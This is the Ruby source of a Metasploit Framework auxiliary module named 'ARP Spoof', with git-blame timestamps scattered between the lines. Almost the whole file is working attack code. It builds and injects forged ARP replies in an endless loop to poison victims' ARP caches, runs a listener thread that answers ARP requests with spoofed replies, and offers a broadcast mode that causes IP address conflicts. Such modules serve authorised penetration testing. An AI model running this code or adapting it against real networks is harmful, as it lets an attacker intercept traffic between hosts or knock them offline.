2011-05-08 04:26:16 +00:00
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
2012-02-21 01:40:50 +00:00
# web site for more information on licensing and terms of use.
# http://metasploit.com/
2011-05-08 04:26:16 +00:00
##
require 'msf/core'
class Metasploit3 < Msf :: Auxiliary
include Msf :: Exploit :: Remote :: Capture
include Msf :: Auxiliary :: Report
def initialize
super (
'Name' = > 'ARP Spoof' ,
'Description' = > %q{
Spoof ARP replies and poison remote ARP caches to conduct IP address spoofing or a denial of service .
} ,
'Author' = > 'amaloteaux' , # msf rewrite
#tons of people ....
'License' = > MSF_LICENSE ,
'References' = >
[
[ 'OSVDB' , '11169' ] ,
[ 'CVE' , '1999-0667' ] ,
[ 'URL' , 'http://en.wikipedia.org/wiki/ARP_spoofing' ]
] ,
'DisclosureDate' = > 'Dec 22 1999' #osvdb date
)
register_options ( [
OptString . new ( 'SHOSTS' , [ true , 'Spoofed ip addresses' ] ) ,
2011-06-02 21:12:21 +00:00
OptString . new ( 'SMAC' , [ false , 'The spoofed mac' ] ) ,
2011-05-08 04:26:16 +00:00
OptString . new ( 'DHOSTS' , [ true , 'Target ip addresses' ] ) ,
OptString . new ( 'INTERFACE' , [ false , 'The name of the interface' ] ) ,
OptBool . new ( 'BIDIRECTIONAL' , [ true , 'Spoof also the source with the dest' , false ] ) ,
2011-05-22 11:54:51 +00:00
OptBool . new ( 'AUTO_ADD' , [ true , 'Auto add new host when discovered by the listener' , false ] ) ,
2011-05-21 16:26:11 +00:00
OptBool . new ( 'LISTENER' , [ true , 'Use an additionnal thread that will listen to arp request and try to relply as fast as possible' , true ] )
2011-05-08 04:26:16 +00:00
] , self . class )
register_advanced_options ( [
2011-06-02 21:12:21 +00:00
OptString . new ( 'LOCALSMAC' , [ false , 'The MAC address of the local interface to use for hosts detection, this is usefull only if you want to spoof to another host with SMAC' ] ) ,
2011-05-08 04:26:16 +00:00
OptString . new ( 'LOCALSIP' , [ false , 'The IP address of the local interface to use for hosts detection' ] ) ,
OptInt . new ( 'PKT_DELAY' , [ true , 'The delay in milliseconds between each packet during poisoning' , 100 ] ) ,
2011-05-21 16:26:11 +00:00
OptInt . new ( 'TIMEOUT' , [ true , 'The number of seconds to wait for new data during host detection' , 2 ] ) ,
# This mode will generate address ip conflict pop up on most systems
OptBool . new ( 'BROADCAST' , [ true , 'If set, the module will send replies on the broadcast address witout consideration of DHOSTS' , false ] )
2011-05-08 04:26:16 +00:00
] , self . class )
deregister_options ( 'SNAPLEN' , 'FILTER' , 'PCAPFILE' , 'RHOST' , 'UDP_SECRET' , 'GATEWAY' , 'NETMASK' )
end
def run
2011-07-27 20:21:47 +00:00
open_pcap ( { 'SNAPLEN' = > 68 , 'FILTER' = > " arp[6:2] == 0x0002 " } )
2011-06-02 21:12:21 +00:00
@netifaces = true
2011-10-17 02:42:01 +00:00
if not netifaces_implemented?
2011-06-02 21:12:21 +00:00
print_error ( " WARNING : Pcaprub is not uptodate, some functionality will not be available " )
@netifaces = false
end
2011-05-22 11:47:54 +00:00
@spoofing = false
2011-05-21 16:26:11 +00:00
# The local dst (and src) cache(s)
@dsthosts_cache = { }
@srchosts_cache = { }
# Some additional caches for autoadd feature
if datastore [ 'AUTO_ADD' ]
@dsthosts_autoadd_cache = { }
if datastore [ 'BIDIRECTIONAL' ]
@srchosts_autoadd_cache = { }
end
end
2011-05-08 04:26:16 +00:00
begin
@interface = datastore [ 'INTERFACE' ] || Pcap . lookupdev
2011-08-24 20:44:39 +00:00
#This is needed on windows cause we send interface directly to Pcap functions
@interface = get_interface_guid ( @interface )
2011-10-17 02:42:01 +00:00
@smac = datastore [ 'SMAC' ]
2011-06-02 21:12:21 +00:00
@smac || = get_mac ( @interface ) if @netifaces
2012-01-16 22:29:58 +00:00
raise RuntimeError , 'SMAC is not defined and can not be guessed' unless @smac
raise RuntimeError , 'Source MAC is not in correct format' unless is_mac? ( @smac )
2011-05-08 04:26:16 +00:00
2011-06-02 21:12:21 +00:00
@sip = datastore [ 'LOCALSIP' ]
@sip || = Pcap . lookupaddrs ( @interface ) [ 0 ] if @netifaces
2012-01-16 22:29:58 +00:00
raise " LOCALSIP is not defined and can not be guessed " unless @sip
raise " LOCALSIP is not an ipv4 address " unless Rex :: Socket . is_ipv4? ( @sip )
2011-06-02 21:12:21 +00:00
2011-05-08 04:26:16 +00:00
shosts_range = Rex :: Socket :: RangeWalker . new ( datastore [ 'SHOSTS' ] )
@shosts = [ ]
2011-06-02 21:12:21 +00:00
if datastore [ 'BIDIRECTIONAL' ]
2012-01-16 22:29:58 +00:00
shosts_range . each { | shost | if Rex :: Socket . is_ipv4? ( shost ) and shost != @sip then @shosts . push shost end }
2011-06-02 21:12:21 +00:00
else
2012-01-16 22:29:58 +00:00
shosts_range . each { | shost | if Rex :: Socket . is_ipv4? ( shost ) then @shosts . push shost end }
2011-06-02 21:12:21 +00:00
end
2011-11-20 02:12:07 +00:00
2011-05-08 04:26:16 +00:00
if datastore [ 'BROADCAST' ]
broadcast_spoof
else
arp_poisoning
end
2011-05-22 11:47:54 +00:00
rescue = > ex
print_error ( ex . message )
2011-05-08 04:26:16 +00:00
ensure
2011-05-22 11:47:54 +00:00
2011-05-08 04:26:16 +00:00
if datastore [ 'LISTENER' ]
@listener . kill if @listener
GC . start ( )
end
2011-05-22 11:47:54 +00:00
2011-07-26 01:29:21 +00:00
if capture and @spoofing and not datastore [ 'BROADCAST' ]
2011-05-22 11:47:54 +00:00
print_status ( " RE-ARPing the victims... " )
2011-11-20 02:12:07 +00:00
3 . times do
2011-05-22 11:47:54 +00:00
@dsthosts_cache . keys . sort . each do | dhost |
2011-10-17 02:42:01 +00:00
dmac = @dsthosts_cache [ dhost ]
2011-05-22 11:47:54 +00:00
if datastore [ 'BIDIRECTIONAL' ]
@srchosts_cache . keys . sort . each do | shost |
2011-10-17 02:42:01 +00:00
smac = @srchosts_cache [ shost ]
2011-05-22 11:47:54 +00:00
if shost != dhost
2012-01-30 19:08:35 +00:00
vprint_status ( " Sending arp packet for #{ shost } to #{ dhost } " )
2011-05-22 11:47:54 +00:00
reply = buildreply ( shost , smac , dhost , dmac )
2011-08-24 20:44:39 +00:00
inject ( reply )
2011-05-22 11:47:54 +00:00
Kernel . select ( nil , nil , nil , ( datastore [ 'PKT_DELAY' ] * 1 . 0 ) / 1000 )
end
end
else
@shosts . each do | shost |
if shost != dhost
2012-01-30 19:08:35 +00:00
vprint_status ( " Sending arp request for #{ shost } to #{ dhost } " )
2011-05-22 11:47:54 +00:00
request = buildprobe ( dhost , dmac , shost )
2011-08-24 20:44:39 +00:00
inject ( request )
2011-05-22 11:47:54 +00:00
Kernel . select ( nil , nil , nil , ( datastore [ 'PKT_DELAY' ] * 1 . 0 ) / 1000 )
end
end
end
end
if datastore [ 'BIDIRECTIONAL' ]
@srchosts_cache . keys . sort . each do | shost |
smac = @srchosts_cache [ shost ]
@dsthosts_cache . keys . sort . each do | dhost |
2011-10-17 02:42:01 +00:00
dmac = @dsthosts_cache [ dhost ]
2011-05-22 11:47:54 +00:00
if shost != dhost
2012-01-30 19:08:35 +00:00
vprint_status ( " Sending arp packet for #{ dhost } to #{ shost } " )
2011-05-22 11:47:54 +00:00
reply = buildreply ( dhost , dmac , shost , smac )
2011-08-24 20:44:39 +00:00
inject ( reply )
2011-05-22 11:47:54 +00:00
Kernel . select ( nil , nil , nil , ( datastore [ 'PKT_DELAY' ] * 1 . 0 ) / 1000 )
end
end
end
end
end # 3.times
2011-10-17 02:42:01 +00:00
end
2011-05-22 11:47:54 +00:00
close_pcap
end #begin/rescue/ensure
2011-05-08 04:26:16 +00:00
end
def broadcast_spoof
2011-05-22 14:00:35 +00:00
print_status ( " ARP poisoning in progress (broadcast)... " )
2011-05-08 04:26:16 +00:00
while ( true )
@shosts . each do | shost |
2012-01-30 19:08:35 +00:00
vprint_status ( " Sending arp packet for #{ shost } address " )
2011-05-08 04:26:16 +00:00
reply = buildreply ( shost , @smac , '0.0.0.0' , 'ff:ff:ff:ff:ff:ff' )
2011-08-24 20:44:39 +00:00
inject ( reply )
2011-05-08 04:26:16 +00:00
Kernel . select ( nil , nil , nil , ( datastore [ 'PKT_DELAY' ] * 1 . 0 ) / 1000 )
end
end
end
def arp_poisoning
lsmac = datastore [ 'LOCALSMAC' ] || @smac
raise RuntimeError , 'Local Source Mac is not in correct format' unless is_mac? ( lsmac )
dhosts_range = Rex :: Socket :: RangeWalker . new ( datastore [ 'DHOSTS' ] )
2011-05-21 16:26:11 +00:00
@dhosts = [ ]
2012-01-16 22:29:58 +00:00
dhosts_range . each { | dhost | if Rex :: Socket . is_ipv4? ( dhost ) and dhost != @sip then @dhosts . push ( dhost ) end }
2011-05-08 04:26:16 +00:00
#Build the local dest hosts cache
print_status ( " Building the destination hosts cache... " )
2011-05-21 16:26:11 +00:00
@dhosts . each do | dhost |
2012-01-30 19:08:35 +00:00
vprint_status ( " Sending arp packet to #{ dhost } " )
2011-06-02 21:12:21 +00:00
probe = buildprobe ( @sip , lsmac , dhost )
2011-08-24 20:44:39 +00:00
inject ( probe )
2011-05-08 04:26:16 +00:00
while ( reply = getreply ( ) )
2011-07-26 01:29:21 +00:00
next if not reply . is_arp?
2011-05-08 04:26:16 +00:00
#Without this check any arp request would be added to the cache
2011-07-26 01:29:21 +00:00
if @dhosts . include? reply . arp_saddr_ip
2011-10-17 02:42:01 +00:00
print_status ( " #{ reply . arp_saddr_ip } appears to be up. " )
2011-07-26 01:29:21 +00:00
report_host ( :host = > reply . arp_saddr_ip , :mac = > reply . arp_saddr_mac )
@dsthosts_cache [ reply . arp_saddr_ip ] = reply . arp_saddr_mac
2011-05-08 04:26:16 +00:00
end
end
2011-11-20 02:12:07 +00:00
2011-05-08 04:26:16 +00:00
end
#Wait some few seconds for last packets
etime = Time . now . to_f + datastore [ 'TIMEOUT' ]
while ( Time . now . to_f < etime )
while ( reply = getreply ( ) )
2011-07-26 01:29:21 +00:00
next if not reply . is_arp?
if @dhosts . include? reply . arp_saddr_ip
2011-10-17 02:42:01 +00:00
print_status ( " #{ reply . arp_saddr_ip } appears to be up. " )
2011-07-26 01:29:21 +00:00
report_host ( :host = > reply . arp_saddr_ip , :mac = > reply . arp_saddr_mac )
@dsthosts_cache [ reply . arp_saddr_ip ] = reply . arp_saddr_mac
2011-05-08 04:26:16 +00:00
end
end
Kernel . select ( nil , nil , nil , 0 . 50 )
end
2011-05-21 16:26:11 +00:00
raise RuntimeError , " No hosts found " unless @dsthosts_cache . length > 0
2011-05-08 04:26:16 +00:00
#Build the local src hosts cache
if datastore [ 'BIDIRECTIONAL' ]
print_status ( " Building the source hosts cache for unknow source hosts... " )
@shosts . each do | shost |
2011-05-21 16:26:11 +00:00
if @dsthosts_cache . has_key? shost
2012-01-30 19:08:35 +00:00
vprint_status ( " Adding #{ shost } from destination cache " )
2011-05-21 16:26:11 +00:00
@srchosts_cache [ shost ] = @dsthosts_cache [ shost ]
2011-05-08 04:26:16 +00:00
next
end
2012-01-30 19:08:35 +00:00
vprint_status ( " Sending arp packet to #{ shost } " )
2011-06-02 21:12:21 +00:00
probe = buildprobe ( @sip , lsmac , shost )
2011-08-24 20:44:39 +00:00
inject ( probe )
2011-05-08 04:26:16 +00:00
while ( reply = getreply ( ) )
2011-07-26 01:29:21 +00:00
next if not reply . is_arp?
if @shosts . include? reply . arp_saddr_ip
2011-10-17 02:42:01 +00:00
print_status ( " #{ reply . arp_saddr_ip } appears to be up. " )
2011-07-26 01:29:21 +00:00
report_host ( :host = > reply . arp_saddr_ip , :mac = > reply . arp_saddr_mac )
@srchosts_cache [ reply . arp_saddr_ip ] = reply . arp_saddr_mac
2011-05-08 04:26:16 +00:00
end
end
2011-07-26 01:29:21 +00:00
2011-05-08 04:26:16 +00:00
end
#Wait some few seconds for last packets
etime = Time . now . to_f + datastore [ 'TIMEOUT' ]
while ( Time . now . to_f < etime )
while ( reply = getreply ( ) )
2011-07-26 01:29:21 +00:00
next if not reply . is_arp?
if @shosts . include? reply . arp_saddr_ip
2011-10-17 02:42:01 +00:00
print_status ( " #{ reply . arp_saddr_ip } appears to be up. " )
2011-07-26 01:29:21 +00:00
report_host ( :host = > reply . arp_saddr_ip , :mac = > reply . arp_saddr_mac )
@srchosts_cache [ reply . arp_saddr_ip ] = reply . arp_saddr_mac
2011-05-08 04:26:16 +00:00
end
end
Kernel . select ( nil , nil , nil , 0 . 50 )
end
2011-05-21 16:26:11 +00:00
raise RuntimeError , " No hosts found " unless @srchosts_cache . length > 0
end
if datastore [ 'AUTO_ADD' ]
@mutex_cache = Mutex . new
2011-05-08 04:26:16 +00:00
end
#Start the listener
if datastore [ 'LISTENER' ]
2011-05-21 16:26:11 +00:00
start_listener ( @dsthosts_cache , @srchosts_cache )
2011-05-08 04:26:16 +00:00
end
#Do the job until user interupt it
2011-05-22 14:00:35 +00:00
print_status ( " ARP poisoning in progress... " )
2011-05-22 11:47:54 +00:00
@spoofing = true
2011-05-08 04:26:16 +00:00
while ( true )
2011-05-21 16:26:11 +00:00
if datastore [ 'AUTO_ADD' ]
2011-11-20 02:12:07 +00:00
@mutex_cache . lock
2011-05-21 16:26:11 +00:00
if @dsthosts_autoadd_cache . length > 0
@dsthosts_cache . merge! ( @dsthosts_autoadd_cache )
@dsthosts_autoadd_cache = { }
end
2011-05-08 04:26:16 +00:00
if datastore [ 'BIDIRECTIONAL' ]
2011-05-21 16:26:11 +00:00
if @srchosts_autoadd_cache . length > 0
@srchosts_cache . merge! ( @srchosts_autoadd_cache )
@srchosts_autoadd_cache = { }
end
end
@mutex_cache . unlock
end
@dsthosts_cache . keys . sort . each do | dhost |
2011-10-17 02:42:01 +00:00
dmac = @dsthosts_cache [ dhost ]
2011-05-21 16:26:11 +00:00
if datastore [ 'BIDIRECTIONAL' ]
@srchosts_cache . keys . sort . each do | shost |
2011-10-17 02:42:01 +00:00
smac = @srchosts_cache [ shost ]
2011-05-08 04:26:16 +00:00
if shost != dhost
2012-01-30 19:08:35 +00:00
vprint_status ( " Sending arp packet for #{ shost } to #{ dhost } " )
2011-05-08 04:26:16 +00:00
reply = buildreply ( shost , @smac , dhost , dmac )
2011-08-24 20:44:39 +00:00
inject ( reply )
2011-05-08 04:26:16 +00:00
Kernel . select ( nil , nil , nil , ( datastore [ 'PKT_DELAY' ] * 1 . 0 ) / 1000 )
end
end
else
@shosts . each do | shost |
if shost != dhost
2012-01-30 19:08:35 +00:00
vprint_status ( " Sending arp packet for #{ shost } to #{ dhost } " )
2011-05-08 04:26:16 +00:00
reply = buildreply ( shost , @smac , dhost , dmac )
2011-08-24 20:44:39 +00:00
inject ( reply )
2011-05-08 04:26:16 +00:00
Kernel . select ( nil , nil , nil , ( datastore [ 'PKT_DELAY' ] * 1 . 0 ) / 1000 )
end
end
end
end
if datastore [ 'BIDIRECTIONAL' ]
2011-05-21 16:26:11 +00:00
@srchosts_cache . keys . sort . each do | shost |
smac = @srchosts_cache [ shost ]
@dsthosts_cache . keys . sort . each do | dhost |
2011-10-17 02:42:01 +00:00
dmac = @dsthosts_cache [ dhost ]
2011-05-08 04:26:16 +00:00
if shost != dhost
2012-01-30 19:08:35 +00:00
vprint_status ( " Sending arp packet for #{ dhost } to #{ shost } " )
2011-05-08 04:26:16 +00:00
reply = buildreply ( dhost , @smac , shost , smac )
2011-08-24 20:44:39 +00:00
inject ( reply )
2011-05-08 04:26:16 +00:00
Kernel . select ( nil , nil , nil , ( datastore [ 'PKT_DELAY' ] * 1 . 0 ) / 1000 )
end
end
end
end
end
end
def is_mac? ( mac )
if mac =~ / ^([a-fA-F0-9]{2}:){5}[a-fA-F0-9]{2}$ / then true
else false end
end
def buildprobe ( shost , smac , dhost )
2011-07-26 01:29:21 +00:00
p = PacketFu :: ARPPacket . new
p . eth_saddr = smac
p . eth_daddr = " ff:ff:ff:ff:ff:ff "
p . arp_opcode = 1
p . arp_daddr_mac = p . eth_daddr
p . arp_saddr_mac = p . eth_saddr
p . arp_saddr_ip = shost
p . arp_daddr_ip = dhost
p
2011-05-08 04:26:16 +00:00
end
def buildreply ( shost , smac , dhost , dmac )
2011-07-26 01:29:21 +00:00
p = PacketFu :: ARPPacket . new
2011-08-24 20:44:39 +00:00
p . eth_saddr = smac
p . eth_daddr = dmac
2011-07-26 01:29:21 +00:00
p . arp_opcode = 2 # ARP Reply
p . arp_daddr_mac = p . eth_daddr
p . arp_saddr_mac = p . eth_saddr
p . arp_saddr_ip = shost
p . arp_daddr_ip = dhost
p
2011-05-08 04:26:16 +00:00
end
def getreply
2011-07-26 01:29:21 +00:00
pkt_bytes = capture . next
return if not pkt_bytes
pkt = PacketFu :: Packet . parse ( pkt_bytes )
return unless pkt . is_arp?
return unless pkt . arp_opcode == 2
pkt
2011-05-08 04:26:16 +00:00
end
2011-11-20 02:12:07 +00:00
2011-05-08 04:26:16 +00:00
def start_listener ( dsthosts_cache , srchosts_cache )
if datastore [ 'BIDIRECTIONAL' ]
args = { :BIDIRECTIONAL = > true , :dhosts = > dsthosts_cache . dup , :shosts = > srchosts_cache . dup }
else
args = { :BIDIRECTIONAL = > false , :dhosts = > dsthosts_cache . dup , :shosts = > @shosts . dup }
end
2011-06-02 21:12:21 +00:00
# To avoid any race condition in case of , even if actually those are never updated after the thread is launched
args [ :AUTO_ADD ] = datastore [ 'AUTO_ADD' ]
args [ :localip ] = @sip . dup
2011-07-26 01:29:21 +00:00
@listener = Thread . new ( args ) do | args |
2011-05-08 04:26:16 +00:00
begin
2011-10-17 02:42:01 +00:00
#one more local copy
2011-05-08 04:26:16 +00:00
liste_src_ips = [ ]
if args [ :BIDIRECTIONAL ]
args [ :shosts ] . each_key { | address | liste_src_ips . push address }
else
args [ :shosts ] . each { | address | liste_src_ips . push address }
end
2011-11-20 02:12:07 +00:00
liste_dst_ips = [ ]
args [ :dhosts ] . each_key { | address | liste_dst_ips . push address }
2011-06-02 21:12:21 +00:00
localip = args [ :localip ]
2011-05-08 04:26:16 +00:00
listener_capture = :: Pcap . open_live ( @interface , 68 , true , 0 )
listener_capture . setfilter ( " arp[6:2] == 0x0001 " )
while ( true )
2011-07-26 01:29:21 +00:00
pkt_bytes = listener_capture . next
if pkt_bytes
pkt = PacketFu :: Packet . parse ( pkt_bytes )
if pkt . is_arp?
if pkt . arp_opcode == 1
2011-05-08 04:26:16 +00:00
#check if the source ip is in the dest hosts
2011-07-26 01:29:21 +00:00
if ( liste_dst_ips . include? pkt . arp_saddr_ip and liste_src_ips . include? pkt . arp_daddr_ip ) or
2011-10-17 02:42:01 +00:00
( args [ :BIDIRECTIONAL ] and liste_dst_ips . include? pkt . arp_daddr_ip and liste_src_ips . include? pkt . arp_saddr_ip )
2012-01-30 19:08:35 +00:00
vprint_status ( " Listener : Request from #{ pkt . arp_saddr_ip } for #{ pkt . arp_daddr_ip } " )
2011-08-24 23:49:58 +00:00
reply = buildreply ( pkt . arp_daddr_ip , @smac , pkt . arp_saddr_ip , pkt . eth_saddr )
3 . times { listener_capture . inject ( reply . to_s ) }
2011-06-02 21:12:21 +00:00
elsif args [ :AUTO_ADD ]
2011-10-17 02:42:01 +00:00
if ( @dhosts . include? pkt . arp_saddr_ip and not liste_dst_ips . include? pkt . arp_saddr_ip and
pkt . arp_saddr_ip != localip )
2011-05-21 16:26:11 +00:00
@mutex_cache . lock
2011-10-17 02:42:01 +00:00
print_status ( " #{ pkt . arp_saddr_ip } appears to be up. " )
@dsthosts_autoadd_cache [ pkt . arp_saddr_ip ] = pkt . arp_saddr_mac
2011-07-26 01:29:21 +00:00
liste_dst_ips . push pkt . arp_saddr_ip
2011-05-21 16:26:11 +00:00
@mutex_cache . unlock
2011-10-17 02:42:01 +00:00
elsif ( args [ :BIDIRECTIONAL ] and @shosts . include? pkt . arp_saddr_ip and
2011-07-26 01:29:21 +00:00
not liste_src_ips . include? pkt . arp_saddr_ip and pkt . arp_saddr_ip != localip )
2011-05-21 16:26:11 +00:00
@mutex_cache . lock
2011-10-17 02:42:01 +00:00
print_status ( " #{ pkt . arp_saddr_ip } appears to be up. " )
2011-07-26 01:29:21 +00:00
@srchosts_autoadd_cache [ pkt . arp_saddr_ip ] = pkt . arp_saddr_mac
liste_src_ips . push pkt . arp_saddr_ip
2011-05-21 16:26:11 +00:00
@mutex_cache . unlock
2011-11-20 02:12:07 +00:00
end
2011-05-08 04:26:16 +00:00
end
end
end
end
end
rescue = > ex
print_error ( " Listener Error: #{ ex . message } " )
print_error ( " Listener Error: Listener is stopped " )
end
end
@listener . abort_on_exception = true
end
end